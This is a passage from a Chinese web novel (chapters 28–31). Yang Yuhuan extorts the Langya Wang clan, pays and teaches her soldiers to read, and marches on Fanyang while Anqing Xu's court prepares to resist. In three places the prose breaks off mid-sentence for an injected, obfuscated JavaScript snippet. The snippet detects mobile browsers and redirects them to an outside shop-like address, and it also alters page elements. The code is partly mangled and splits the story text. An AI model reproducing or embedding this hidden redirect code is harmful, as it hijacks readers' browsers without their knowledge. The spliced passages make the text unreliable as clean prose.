宣旨太监念完,等着阙丽谢恩,却见阙丽接过那卷明黄绢帛,看也没看,转身走到炭盆边,手一松,圣旨轻飘飘落入盆中。 火焰“呼”地一下窜起,迅速吞没了绢帛,连同上面的朱砂御印,化作一团扭曲的黑灰。 宣旨太监和随行人员目瞪口呆。 阙丽拍了拍手上并不存在的灰尘,对那太监淡淡道:“旨意我收到了,公公可以回去复命了。” 太监脸色煞白,一句完整的话也说不出,仓皇离去。 阙丽焚毁圣旨的举动,不知怎的又传开了,虽然明面上无人敢大肆宣扬,但暗地里,后宫那些早已心思浮动的妃嫔宫女中,激起了波澜。 连跟了陛下二十多年,育有皇子的妃子都能离开,甚至敢焚烧圣旨,陛下却似乎拿她无可奈何…… 那她们呢? 一颗种子一旦破土,便会疯狂蔓延。 接下来数日,陆续有妃嫔、宫女寻了各种由头,试探着询问离宫的可能。后宫,这个帝国最森严的牢笼之一,出现了前所未有的逃离之意。 宦官们压不住,报上去,李璘又是一阵暴跳如雷,却无计可施。强行弹压?万一激起更大的变故,在眼下这个敏感时期,岂不是更坐实了他无能的名声? 最终,在崔相等人的再三劝谏下,焦头烂额的李璘,不得不咬牙下了一道旨意:念及天恩浩荡,体恤宫人思亲之苦,特许宫中妃嫔宫女,凡无职司紧要自愿归家者,可报备内廷,核查无误后,准予放还云云。 他想以此彰显他这个新皇的仁德。 可没人鸟他。 这道旨意一下,无数宫人忙着打点行装,托人送信,众人皆言这是妥了仙女娘娘和阙丽的洪福啊。 那些年轻些的小宫女们聚在一起,又哭又笑。 “我能回家了!阿娘眼睛不好,不知还认不认得我……” “我小弟该娶媳妇了吧?走的时候他才这么高……” “攒下的这点月钱,给爹娘扯块好布,再给侄儿带包糖……” 皇宫的幽深廊下,两个正要交班的老太监,望着匆匆往来脸上带着久违鲜活气的宫人们,低声唏嘘。 “多少年了……见着活气儿了。” “是啊,这口子一开,人心就散了,再想拢住,难喽。” 有些东西,一旦裂开缝隙,见到了光,再想彻底封死,就难了。 而此刻,阙丽正在新居品着新茶,道了一声: “好滋味。” 28.第 28 章 现代,深夜。 郝美丽盘腿坐在客厅的地毯上,面前摊开一个略显古朴的木箱,手机架在一旁,正开着视频通话,屏幕那头,郑大钱敷着面膜的脸和常开心好奇凑近的脑袋挤在一起。 “看!我女儿送我的!”郝美丽,伸手从箱子里抓出一把,珠宝在灯光下折射出炫目的光芒,有未经雕琢的天然玉石,有镶嵌着各色宝石的首饰,还有几串颗粒浑圆的珍珠项链。 常开心“哇”了一声,眼睛瞪得溜圆:“这么多珠宝!这什么情况?美丽,去打劫了?” “什么打劫!”郝美丽得意地扬起下巴,“这是我女儿,剿灭了一个鱼肉乡里的恶霸地主,缴获的财宝!特意孝敬我这个当妈的!” 郑大钱隔着面膜,声音有点含糊:“哟,孝顺女儿。” “美丽,不错啊!玉环现在这么厉害了!”常开心也跟着夸。 “那可不!”郝美丽又骄傲起来了。 “不过美丽,你账户里的钱,可又被你买盔甲买粮食折腾得差不多了,正好,这批东西成色看着不错,处理了能回一大波血。” 郝美丽立刻护犊子似的抱紧箱子,瞪眼:“郑大钱!你这就开始打主意了?这是我女儿送我的!心意!懂不懂!” 郑大钱撕下面膜,露出一个“我还不了解你”的笑容:“我懂!心意,心意!那些定制盔甲的尾款什么时候结?还有,你上次说的那批特殊渠道的药品,定金付了吗?” 郝美丽的气势顿时弱了下去,讪讪道:“哈哈,这个,女儿的心意和事业资金,不冲突嘛……” 常开心在那边哈哈大笑:“行了行了,你俩别斗嘴。美丽,这么多宝贝,光视频里看不过瘾,我要去你家现场欣赏!” 郝美丽眼睛一亮:“快来快来!大钱,你也回来!咱们好久没聚了,正好放松一下!” 郑大钱看着郝美丽那副献宝的雀跃样子,终于也笑了:“行,我安排一下,后天到。” 两天后,三个好友窝在郝美丽家的沙发上,围着那个箱子。常开心小心翼翼地拿起一支点翠金簪细看,郑大钱则捡起一枚通体碧绿水头极足的翡翠扳指,对着光仔细端详。 “这扳指,种老色阳,没什么杂质,七位数起步。”郑大钱专业地评价道。 郝美丽凑过去看了看,忽然想起什么,说:“哦,这个啊,听说是从一个地主老财拇指上硬撸下来的。那人坏事做尽,死有余辜,大钱,这个你帮我处理了吧,变现快。” 常开心闻言,放下金簪,叹了口气:“这些该死的财主,搜刮了多少民脂民膏,才有这么多好东西。” 郝美丽扯了扯嘴角:“放心,他们马上就没钱了。” “嗯?”常开心和郑大钱同时看向她。 “玉环说,”郝美丽往后一靠,眼神亮晶晶的,“她不打算再端着那个仙女娘娘的架子跟那些人玩虚的了。” “那她要干嘛?”常开心问。 郑大钱也挑眉等待下文。 郝美丽深吸一口气,挥了挥拳头,豪情万丈地说:“我女儿想通了!仙女不好当,强盗还不好当吗?” “她要恶狠狠敲诈那些为富不仁的大户一笔,筹集粮草军资,然后转战范阳,直捣叛军老巢!在幽州那边建立稳固的根据地,然后挥师南下——君、临、天、下!” 客厅里安静了一瞬,然后,常开心激动地拍了下大腿:“就该这样!爽!” 郑大钱摩挲着那枚冰凉的翡翠扳指,缓缓点头:“乱世之中,与其在朝堂上和那些老狐狸纠缠,不如手握强兵,另起炉灶,有了地盘和军队,才有真正说话的底气。” 郝美丽眼中都是信任:“她一定可以的!” * 古代,琅琊,王氏祖宅。 气氛与郝美丽家的轻松截然不同。 花厅内,熏香淡雅,阳光从雕花窗格斜射进来,在光洁的金砖地上投下细密的光斑,空气里檀香袅袅,杨玉环坐在主位,王氏族长王崇基陪坐在下首,脸上挂着笑容。 “仙驾莅临,寒舍蓬荜生辉。”王崇基抬手示意仆役上茶,语气恭谨,“前番兴始县之事,老朽已悉知,可是家中那不成器的子弟,招待不周,冲撞了仙子?” 杨玉环端起茶盏,拨了拨浮叶,闻言,似乎很认真地回想了一下——想那王家父子六颗悬于门楣的人头,想那抄没入库的十万雪花银,若说招待不周,实在是没了良心。 她微微一笑,颔首:“招待得很好,王家子弟热情慷慨,令我印象深刻,我很满意。” 王崇基脸上笑容不变,心下却是一沉,不太对啊。他稳了稳心神,试探着问:“不知仙子此次亲临琅琊,有何指教?” 杨玉环放下茶盏,抬眼看他,直接道:“指教不敢当,只是我初次领兵,经验浅薄,如今北上平叛,粮草军资颇有些捉襟见肘。素闻琅琊王氏累世豪富,乐善好施,特来求助。” “仙子为国剿贼,王氏自当略尽绵力。”王崇基心中念头急转,面上却一派慷慨,“不知仙子需借多少?” 杨玉环笑容加深,语气轻快:“你我之间,说什么借。” “当然是多多益善。” 王崇基捻着胡须的手指顿了一下,花厅里一时间只有茶水注入杯盏的细微声响,侍立一旁的仆役眼观鼻鼻观心,仿佛泥塑木雕。 第一次会面在客气中结束了,待杨玉环暂时离开花厅,去厢房歇息,王崇基立刻召来了几位核心族老。 “她这是什么意思?”一位族老眉头紧锁,“兴始县拿了十万,胃口还未填满?真当我王氏是予取予求的粮仓银库了?” 另一位族老沉吟:“她带着五千兵马驻扎城外,虽人数不多,但皆是见过血的士卒,我们族中庄丁护院凑一凑,未必没有一战之力,可一旦闹将起来,刀兵相见,无论胜负,我王氏定然损失惨重,声名扫地。” “打不得,也轻易给不得。”王崇基缓缓开口,“给了,显得我王氏懦弱可欺,其他世家如何看待?更怕她得寸进尺。” “那该如何是好?” 王崇基目光投向墙上悬挂的舆图,落在北方:“她口口声声要北上平叛,若她真能去了范阳,与史思明、安庆绪那些叛军余孽拼个你死我活,无论胜负,于朝廷、于天下,都是好事。我们资助她一些,算是投资一场义举,名利双收。” “可万一她拿了钱粮,却不北去,或者中途变卦呢?”有人质疑。 “又或者,她此来本就不是为了借贷,听听她的口气,根本不准备还,万一她另有所图?”另一人补充,脸上忧色更重,“请神容易送神难,如今她兵临门下……” “这次未尝不是一次机会?”王崇基突然说。 此言一出,密室中安静下来。 几位族老互相交换着眼神。 机会?什么机会? 王崇基站起身,走到窗边,望着庭院中森森古柏投下的浓重阴影,缓缓道:“长安那位赵王,色厉内荏难成大事;陈希烈等老臣,盘踞朝堂,心思难测;李英远在武灵,虽有雄心实力却弱;天下群雄并起,叛军盘踞河北,这世道,眼看还要大乱下去。” “杨玉环她手握仙器,有弑君杀将之威,更难得的是,她似乎不太讲究世俗那套规则。”王崇基转过身,眼中精光闪烁,“你们说,咱们王家,要不要在她身上,下一注?” 自古以来,下注是常事。 可下注到一个女人身上,实在是头一遭。 “这……”所有人都迟疑了。 “下注给一个女人?自古未闻!” “可她的手段……你也听闻了。”另一人压低声音,“安禄山何等凶焰,一触即溃,这世道,规矩早已破了。” “她若败亡,我们便是抄家灭族之祸!” “但若她成了呢?”一直沉默的瘦高族老忽然开口,“王氏如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911067|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽富,却困于山东一隅,若押中真龙,自此便是另一番天地了。” 最终,目光渐渐汇聚到王崇基身上。 王崇基深吸一口气,做出了决定:“先探探她的底,看看她究竟想要什么,又能给我们什么。” 第二日,王崇基再次约见杨玉环。 摒退左右后,王崇基神色比昨日郑重了许多:“仙子,老夫知你离京,我琅琊王氏,虽偏居一隅,但在朝在野尚有几分人脉声望。若仙子不弃,我王氏愿倾力支持,做仙子在朝中的臂助,与那陈希烈之流,掰一掰手腕。” 杨玉环却摇了摇头,神色平静:“陈希烈?他还不配做我的目标,我的剑,指向的是祸乱天下的叛军,不平定天下,剿灭史、安余孽,我不会回头去看长安。” 王崇基心中一震,仔细打量杨玉环,见她神情不似作伪,沉吟片刻,道:“仙子志存高远,老夫佩服。既如此,我王氏更愿助仙子一臂之力,粮草军械,皆可筹措,只是……” 他顿了顿,抬眼看向杨玉环,“不知仙子他日功成,可能许我王氏何物?” 这才是最关键的问题。 杨玉环闻言,忽然笑了。她手指轻轻敲了敲桌面,像在谈论天气:“王族长,您觉不觉得,这天下,世家门阀有点太多了?” 王崇基捻着胡须的手僵住。 杨玉环继续慢悠悠地说:“什么崔卢李郑,什么王谢袁萧,林林总总,盘根错节。有时候,人多了东西就不够分,说话也听不清,我不喜欢。您说呢?” 王崇基的瞳孔微微收缩,这女子,胃口之大,野心之狂,远超他最大胆的想象,她怎么敢的?她竟敢! 书房内静得可怕。 良久,王崇基也笑了,道:“仙子所言,不无道理。” “既然如此,”杨玉环点点头,“那就让一些碍事的东西,消失好了。” 话音未落,她手腕一翻,粉色手枪握在手中,在王崇基尚未反应过来的瞬间,枪口微抬,对准了他身后博古架上那个一人多高的大花瓶。 “砰!” 一声枪响,震耳欲聋! 王崇基骇然失色,猛然回头,只见那价值连城的巨瓶,瓶身上瞬间出现一个狰狞的孔洞,紧接着,“哗啦啦”一声巨响,整个花瓶彻底崩塌碎裂,瓷片溅了一地! 一股硝烟味弥漫开来。 王崇基僵在原地,心脏狂跳,后背被冷汗浸透。他听说过仙器,听说过安禄山如何化为齑粉,太子如何坠马而亡,但听说与亲眼所见亲身感受,完全是两回事! 这种威力,这种速度,任何甲胄、任何武艺,在这仙器面前,似乎都成了笑话,杨玉环若想,现在就可以杀了他!不不,她不能杀了他! 杨玉环将它放在桌子上,发出“咔哒”一声轻响,她看向面无人色的王崇基,微笑依旧:“王族长,现在我们可以好好谈谈了。” 王崇基用力吞咽了一下,强迫自己镇定下来。他整理了一下衣袖,对着杨玉环,深深一揖,道:“仙子……不,娘娘,您需要多少?” “我要五百万两白银,王家半数土地。” 王崇基抬头,对上杨玉环的眼睛,她不是在开玩笑。五百万两白银,半数的土地,她这是想掏空王家吗?她怎么敢? 可杨玉环眼中毫无退缩,她就是敢。 她为何不敢! 她不仅仅是仙女,她还是强盗! 只一瞬间,王崇基就有了决断:“从今日起,琅琊王氏,愿为娘娘前驱。粮草军资,人员情报,但有所需,王氏必竭尽所能,以为娘娘后盾!” 杨玉环看着他低垂的头颅,知道这枚重要的棋子,在这一声枪响后,终于被彻底慑服,暂时握在了手中。 她轻轻“嗯”了一声,目光却已越过王氏祖宅,投向了窗外北方辽阔的天空,那里,才是她想要的地盘。 范阳,史思明,安庆绪……我来了。 29.第 29 章 顾大七算不得一个很好的将士。 他只是一个非常普通的士卒,扔进人堆里眨眼就找不见的那种,没人在乎他,也没人认识他,他原本的命运,大概就是在某一次战斗中,被不知道从哪里飞来的流矢带走性命,悄无声息,就像他无数次预想过的那样。 但自从马嵬坡后,他的人生彻底变了。 他看见了。看见了那个美得惊心动魄又惨得我见犹怜的贵妃娘娘,如何被逼到绝境;看见了那个突然从光里走出来的女子,如何砍瓜切菜般处置了逼宫的将军;更看见了杨玉环如何握着刀,和妈妈一起,将刀捅进了老皇帝的肚子。 后来,他又亲眼看见,隔得老远,那个顶顶尊贵的太子如何在奔逃中坠马毙命,然后,他跟着人群,懵懵懂懂地拥着杨玉环进了长安,走进那做梦都不敢想的大明宫。 就在他以为这辈子能跟着仙女在长安的时候,听说娘娘又要走了,离开这座刚刚到手的天下第一城。 很多人不理解,很多人犹豫,顾大七脑子里没那么多弯弯绕,他只有一个念头:“我要跟着娘娘。” 说不出什么大道理,就是觉得,跟着她,好像……能活得像个人。 长安城外那片密林边,当他看到越来越多面孔从阴影里走出来,最后黑压压跪了一片,足足五千多人,喊着“愿随娘娘出生入死”时,顾大七心里那点不安消失了。 原来,和他一样想法的人,有这么多。 他好像,离那个光芒万丈的娘娘更近了一步。虽然还是隔着人山人海,但至少,是在同一支队伍里,朝着同一个方向走。 娘娘带着他们往北,往范阳走。 只有五千人,粮草不多,兵器也杂,可很奇怪,队伍里没人怀疑他们能不能赢。大唐二十万精锐都被安禄山一把火烧没了,可娘娘的妈妈一抬手,安禄山就变成了血雾,有那样的仙家手段在,足以让这五千颗心烧得滚烫。 这一路上,他们剿过山贼,杀过溃兵,还去那个什么兴始县,抓了个听起来很厉害的王老爷,砍了头,分了地。 顾大七看着那些跪在地上哭的百姓,心里有点说不清的滋味,他曾经也是跪在地上的一员,他发现,自己干的不只是杀人抢粮的勾当。 再后来,队伍开进了琅琊,住进了王氏气派的大宅子,顾大七和弟兄们挤在偏院的厢房里,摸着身下柔软得不像话的铺盖,心里直犯嘀咕:不是要去范阳打叛军吗?怎么在这儿住下了? 这王家老爷们,看着比县太爷还富态,娘娘跟他们在一块儿,不会忘了去打叛军吧?这叛军到底要不要打? 可他不敢问,也没处问。娘娘是仙女,仙女做事,自然有仙女的道理,他们这些凡夫俗子,听着就行。 这天,那个总跟在娘娘身边的女官达奚瑜来了,身后跟着几个捧着沉重木箱的士卒。顾大七知道她,达奚姑娘是顶顶有学问的一个女官,听说还是丞相家的孙女,了不得。 “今日有两件事。”达奚瑜道,“第一,奉娘娘令,发放军饷。” 军饷?顾大七竖起耳朵。他们这些半路跟来的,虽说有吃有住,但正经军饷还真没指望过…… 从前在别的队伍,能吃饱饭不挨打就谢天谢地了,铜板?那是长官老爷们才惦记的东西。 木箱打开,里面是码放整齐的银锭,轮到顾大七时,他伸出双手,掌心被沉甸甸的触感激得一颤——整整十两雪花银! 十两银子,足色,崭新,拿在手里冰凉。 顾大七的心跳猛地快了几拍,真的是银子! 他当兵这些年,摸过的最多的钱,也不过是几串油腻的铜钱。十两银子,省着点用,一年下来,就能在老家买好多亩地,或者搭两间像样的房了,他小心翼翼地把银子贴身藏好,心里像吃了十个烧饼一样踏实。 “第二件事,统计诸君信息。”达奚瑜又说。 所有人排着队统计,轮到他时。 达奚瑜问名字,他答:“顾大七。” 问年龄,他答:“二十三。” 问家人,他顿了一下,声音低下去:“没了,就我一个。” 达奚瑜抬起眼看了他一下,那眼神没什么特别的,但顾大七就是觉得,她听进去了。他想了想银子,鼓起勇气,小声问:“达奚姑娘,咱们啥时候去范阳杀叛军?” 达奚瑜笔下未停,语气平静:“娘娘自有安排。” 顾大七立刻闭上嘴,心里那点嘀咕也压了下去,娘娘的安排,肯定是对的,娘娘还给他们发这么多饷银呢。 等登记完,达奚瑜让他们这个百人队集合,队长是个黑脸膛的粗汉,叫赵莽。达奚瑜让人抬过来一个箱子,里面是一本本小册子,达奚瑜给每人发了一本。 队长赵莽接过册子,翻了两下,一脸茫然:“达奚姑娘,这是啥玩意儿?” 顾大七和身边一群弟兄也全都摸不着头脑。达奚瑜解释道:“这小册子上,写着你们这一队,一百个人的名字,从今天起,你们每人要认得自己的名字怎么写,至于队长……” 她看向赵莽,“你要认得这一百个人的名字。” “啥?!”赵莽眼睛瞪得像铜铃,“一百个人的名字?都要认得?俺滴亲娘咧,这比让俺耍一百斤的石锁还难!俺连自个儿大名都写不利索!” 周围响起一片嗡嗡的议论声,都觉得这要求简直离谱。当兵吃粮,会砍人会听令不就完了?认名字?认那劳什子字干嘛?不过,想到怀里刚揣热的十两银子,抱怨声倒是小了不少。 达奚瑜笑了笑,声音不大,却让嘈杂声低了下去:“娘娘说了,谁先认全这一百个人的名字,会写会认,谁就来当这个小队的队长。” 话音一落,全场安静。 顾大七清楚地看到,赵莽脸上的血色唰地褪了,而周围那些原本只是看热闹的弟兄,眼神嚯地一下变了,像饿狼忽然嗅到了肉味,齐刷刷盯向了赵莽。 队长啊!虽然只是个管一百人的队长,可那也是官儿!饷银会不会更多?最重要的是,跟着仙女娘娘,以后要是真得了天下…… 薛荣将军不就是活生生的例子?从前不过是个守城门的小尉,如今已是威风凛凛的大将军了!每个月拿的饷银,怕是得用箱子装吧?顾大七摸了摸怀里的银子,心头一阵滚热。 赵莽却急得满头大汗,挥舞着册子:“这不成!哪有这样的道理!老子这队长是薛将军当初指派的!凭的是老子杀敌勇猛,资历老!认字?认字能当饭吃?能砍叛军脑袋?” “娘娘的旨意,你敢不从?”达奚瑜反问。 “不不不,我……”赵莽急了。 “遵从娘娘旨意!我们学!我们认字!”,其他人大喊起来,声音参差不齐,却透着一股压抑不住的兴奋。 达奚瑜似乎很满意这效果,又补了一句:“娘娘还说了,以后是要一起上阵拼杀的兄弟,若连身边同袍姓甚名谁都不知晓,如何敢将性命相托?” “所以这名字,必须得认!如果不认,将被驱离金吾卫,再也拿不到这十两的军饷了。”说完,她便带着人去了下一个队,留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911068|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一百号人站在原地,心思各异。 十两银子的待遇,认字还能升官?没人听赵莽嚷嚷了,几个平日就有些心思活络的,已经凑到一起,指着册子上的字嘀嘀咕咕。阳光似乎更烈了些,晒得人头皮发麻,心里却烧着一团火。 顾大七没往前挤,走到墙角,就着天光,小心翼翼地翻开粗糙的纸页,墨迹是新写的,有些还微微洇开,他看不懂,但他记得之前达奚瑜登记时,在他名字后面写的那几个字的模样。 他的手指有些颤抖,一页一页地找,终于,在靠后的某一页,他看到了那三个熟悉的墨迹——顾、大、七。 原来,这就是我的名字。 顾大七盯着那三个字,看了很久很久,好像要把它刻进眼睛里,他伸出手指,小心翼翼地在顾字的笔画上临摹,粗糙的指腹轻轻摩擦着纸面,他不敢用大力气,生怕弄坏了纸张。 队长的位置他倒不怎么在意,可是,这是他第一本书,好吧,也算不得书,只是一本册子,可是这是写了他名字的册子,还是给他的。那些老爷们贵人们,都有书,现在他也有了。 不止是他,是所有士卒都有了。接下来的时间,整个军队的气氛都变了,每个人手里、怀里都放这那本书。 “狗剩,你快帮我看看,这个字是不是念刘?” “王哥,你名字边上这个字咋写?教教我!” 这些话被赵莽听到,他瞪着一双眼睛,道:“咋?你们一个个的,真要跟老子抢这个队长的位置?” 人群静了一瞬,随即一个平时就有些油滑的老兵,搓着手嘿嘿笑道:“赵头儿,瞧您这话说的,这不是娘娘定的规矩嘛!能者居之,达奚姑娘刚说了,娘娘的话,那就是军令!” 旁边一个年轻点的士卒也跟着搭腔:“是啊赵哥,咱们跟着娘娘,不就是要奔个好前程?娘娘既然说了认字快的能当队长,那咱也得试试不是?” “就是,凭本事吃饭!”角落里有人嘀咕。 赵莽脸色一阵红一阵白,胸膛急剧起伏,他环视众人,他知道,自己这队长的权威,在这本小小的册子面前,已经摇摇欲坠了。 “好!好!认字是吧?老子就不信这个邪!”赵莽从牙缝里挤出话来,恶狠狠地翻开那本让他头晕目眩的册子,“都听着!这队长,还是老子的!老子一定比你们认得快!” 话虽狠,可他心里头一次没了底,只得咬牙切齿地对着那一百个名字,磕磕绊绊地认起来,那脸色,当真比吃了黄连还苦。 夜深了,营房里鼾声四起,也有人还在梦呓般念叨着名字,顾大七躺在通铺上,怀里揣着那本小册子,手不自觉又摸了摸内袋里那锭硬邦邦的银子。 十两…… 一个月十两,一年就是一百二十两,仗打完,回去说不定真能起个小院,娶房媳妇…… 爹娘的坟头早该立块像样的碑了,当初草席裹着就下葬了,他心里一直堵着。还得买几亩好田,不用多,能自家糊口就行,要是再有余钱,最好能牵头牛,犁地松快,娘以前总念叨着想要头牛…… 一头牛要多少钱?顾大七不知道,他之前从没想过能买牛,好像爹在的时候,听邻人说得十几两银子,那他还得再攒一攒,才能买牛买田立碑。 他闭上眼睛之前,一个念头又冒出来:“明天,我要多认几个名字,先把李栓柱的名字认了,再把右边打呼噜最响的孙二狗的名字也认了!” 黑暗中,他嘴角不自觉地弯了弯。 原来顾大七这三个字是这样写的啊。 30.第 30 章 离开琅琊那日,天色灰蒙蒙的。 五千军士再次集结出发,队伍比来时臃肿了许多,辎重车多了几十辆,车上面是一个个钉得严丝合缝的樟木箱。 即便封得再紧,当车队行进在略有颠簸的路面上时,里面叮叮的碰撞声,依旧让所有经过的人侧目。 那是银子。 整整两百万两雪花银。 顾大七跟在队伍里,眼睛忍不住瞟向那些大车,他怀里那锭十两的银子,已经让他觉得沉甸甸的。两百万两…… 那得是多少个十两?堆起来,怕不是一座银山?一头牛要二十两,两百万两银子,怕不是十万头牛?那得是多少牛啊!他想象不出来。 不光是他,几乎整个队伍,上至薛荣这样的将领,下至最普通的士卒,目光扫过那些车辆时,神色都复杂难言。 惊讶、兴奋、忐忑,还有一丝不真实。 这才出来多久?满打满算,从离开长安到现在,不过月余,娘娘杀了几个人,就从琅琊王氏手里,撬出来这么多真金白银? 原来,跟着仙女娘娘,不光能吃饱饭拿饷银认名字…… 还能这样挣钱? 达奚瑜策马走在杨玉环身侧,她回头望了一眼那些钱箱,眉头微蹙,终于忍不住开口:“娘娘,我们就带着这么多现银行军,会不会……” 杨玉环目视前方,道:“怕什么,难道有人敢来抢仙女的银子?” 达奚瑜抿了抿唇,又问:“娘娘,您当初不是向王氏要五百万两,外加半数田产么?如今只得两百万两,王崇基那老匹夫,敢对您阳奉阴违,要不要我带人去杀了他?” 杨玉环诧异的看了达奚瑜一眼。 却见达奚瑜一脸正色,不像是玩笑话。 于是开口:“王族长说了,大军远征,携带巨额现银已是不便,田产地契更是累赘。余下的三百万两及地契,待我们拿下范阳,站稳脚跟,他自会派人送来。” 达奚瑜先是一怔,随即明白过来,道:“什么待拿下范阳后送来,不过是拖延推诿的漂亮话!王崇基那只老狐狸,恐怕根本不信我们这五千人能成事,打着坐山观虎斗,他承诺的半数田产,只怕更不会给了。” 杨玉环笑笑,没说话。 “娘娘!”达奚瑜急道,“地契文书他迟迟不给,他若是暗中转移变卖,那我们的地岂不是少了?” 一想到王氏可能耍弄的手段,她就觉得心头火起。 杨玉环却意外的很平静,甚至点了点头,道:“说的没错,他无非是觉得我们带不走也守不住,也赌我们不知他道有多少地,就算日后给了,数目也一定对不上。” “娘娘!那我们!” “瑜儿,别急,他以为我在说笑,等我们腾出手来,自然有办法让他连本带利,乖乖交出来。” 她转过头,看向达奚瑜:“不过眼下,范阳才是首要,饭要一口一口吃,路要一步一步走。” 达奚瑜想了想,确实平叛最要紧,她暗自把这桩事记在心上,狠狠骂了王崇基几句,才压下心头愤懑,目光投向北方。 官道尽头,尘烟与天际相连,那里是叛军盘踞的老巢,是安禄山父子经营多年的根基。 “娘娘,我们就这五千人,真能行吗?” 杨玉环没有立刻回答,她勒住马,眺望着北方苍茫的天地,旷野的风吹起她鬓边的发丝,良久,她才轻轻笑了一下:“走着瞧吧。” * 同一时刻,范阳。 昔日安禄山称帝的大魏皇宫,如今虽还撑着架子,内里却早已是一片惶惶,安禄山被一炮轰成血雾的惨状,像最可怕的梦魇,笼罩在安庆绪的心头。 安庆绪缩在宽大的座椅里,身上裹着厚重的裘皮,却仍觉得浑身发冷,他脸色苍白,眼窝深陷,原本还算得上健壮的身躯,在这些日子的恐惧煎熬下,迅速消瘦下去。 “报!”一名探子连滚爬爬地冲进殿内,声音带着哭腔,“殿下!探得确切消息,那妖女杨玉环,已离开琅琊,正率军朝范阳而来!” “什么?!”安庆绪像被针扎了似的,从椅子上弹起来,裘皮滑落在地也浑然不觉,他瞪大眼睛,嘴唇哆嗦着,“她……她真的来了?带了多少人?可有那仙母同行?” “据报,兵马约在五千之数,未见仙母踪影!”探子伏地不敢抬头。 五千人?没有仙母? 安庆绪非但没有放松,反而更加惊恐,他父亲当年坐拥二十万大军,尚且被那仙器一击毙命,如今杨玉环只带五千人就敢直扑范阳,这岂不是说她更有把握? 一想到父亲死时那漫天血雾,安庆绪就觉得胃里一阵翻搅,几乎要呕吐出来。他猛地挥手,嘶声道:“快!传令下去!收拾东西!我们立刻走!离开范阳!往北,往契丹人的地方去!快!” 他如同惊弓之鸟,只想立刻逃离这个地方,离那个叫杨玉环的妖女越远越好。 “殿下!且慢!”一声断喝响起。 说话的是史思明麾下大将,如今与安庆绪合兵一处的李归仁。他身材魁梧,面色黝黑,此刻大步上前,拦在安庆绪面前,沉声道:“殿下,此时万万不能走!” “不走?留在这里等死吗!”安庆绪红着眼吼道,“你没见过那仙器的厉害!我父皇……我父皇他……” 他声音哽咽,说不下去,只有恐惧。 李归仁脸色凝重,却并未退缩:“殿下,末将虽未亲见,但也听闻那仙器诡异。可殿下请想,若那仙器果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920521|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真能随意施展,千里之外取人性命如探囊取物,那杨玉环此刻已在几百里外,为何不直接动手?” 他见安庆绪愣住,继续分析道:“她既然领军前来,便说明那仙器定有限制!或是不能及远,或是使用不易!此其一也。” “其二,她只带五千兵马!殿下,范阳乃我大魏根本之地,城池坚固,粮草充足,更有史将军与殿下合兵后近十万可战之兵!她五千人,纵有仙器傍身,难道能飞进城来?难道能杀尽我十万大军?” “殿下!先帝虽遭不幸,但他当年提兵南下,攻破潼关,直入长安,将那李隆基赶得如丧家之犬!何等英雄!” “如今先帝大仇未报,贼人反倒打上门来,殿下若是一仗不打,闻风先逃,将先帝基业十万将士置于何地?天下人会如何看待殿下?将士们心中又会作何想?” 安庆绪被他喝得呆住了,脸色变幻不定。 殿中其他将领幕僚也纷纷开口: “李将军所言极是!殿下,我们坐拥幽州数十城,带甲十万,岂能惧她五千孤军?” “那妖女离了长安,便是无根浮萍!我等据城而守,以逸待劳,耗也能耗死她!” “殿下,此时若退,军心必溃!届时不用那妖女来打,我们自己就散了!” “是啊殿下!末将等愿誓死追随殿下,守卫范阳,与那妖女决一死战!” 群情汹汹,目光灼灼,全都盯在安庆绪脸上,安庆绪明白,自己若执意要逃,恐怕先要过了眼前这些将领这一关。 他颓然坐回椅中,双手捂住脸,肩膀微微颤抖,李归仁走到他身侧,将手扶持在他的肩膀上,安庆绪抬头,看到了李归仁眼中的狠厉。 许久,他低下头,眼中虽仍有惊惧,却多了一丝戾气。 “好……”,他声音沙哑,“那就打,传令各城,严密戒备!召集所有兵马,齐聚范阳!我要让那妖女知道,我大魏根基之地,不是她能撒野的地方!” “殿下英明!”众将齐声应和。 伺候,整个幽州大地,城池戒严,粮秣征调,壮丁被驱赶上城头,将领们厉声呼喝,空气中弥漫着大战将临的紧张。 安庆绪站在范阳城高耸的箭楼上,望着密密麻麻的军队,手心全是冷汗。他一遍遍告诉自己:李归仁说得对,我有十万大军,我有坚城,她只有五千人,仙器一定不能随便用……一定能守住…… 可心底深处,父亲死前那一幕总在不经意间闪现,让他遍体生寒。这天下,到底归谁?他不知道,他能不能活下去?他更不知道。 此刻,被安庆绪百般挂念的杨玉环等人,却遇到了一个意想不到的人,被拦在了路上。 杨玉环策马上前,轻声道:“颜大人……” 31.第 31 章 颜真卿守在这条北上必经之路上,已经等了好些时日。 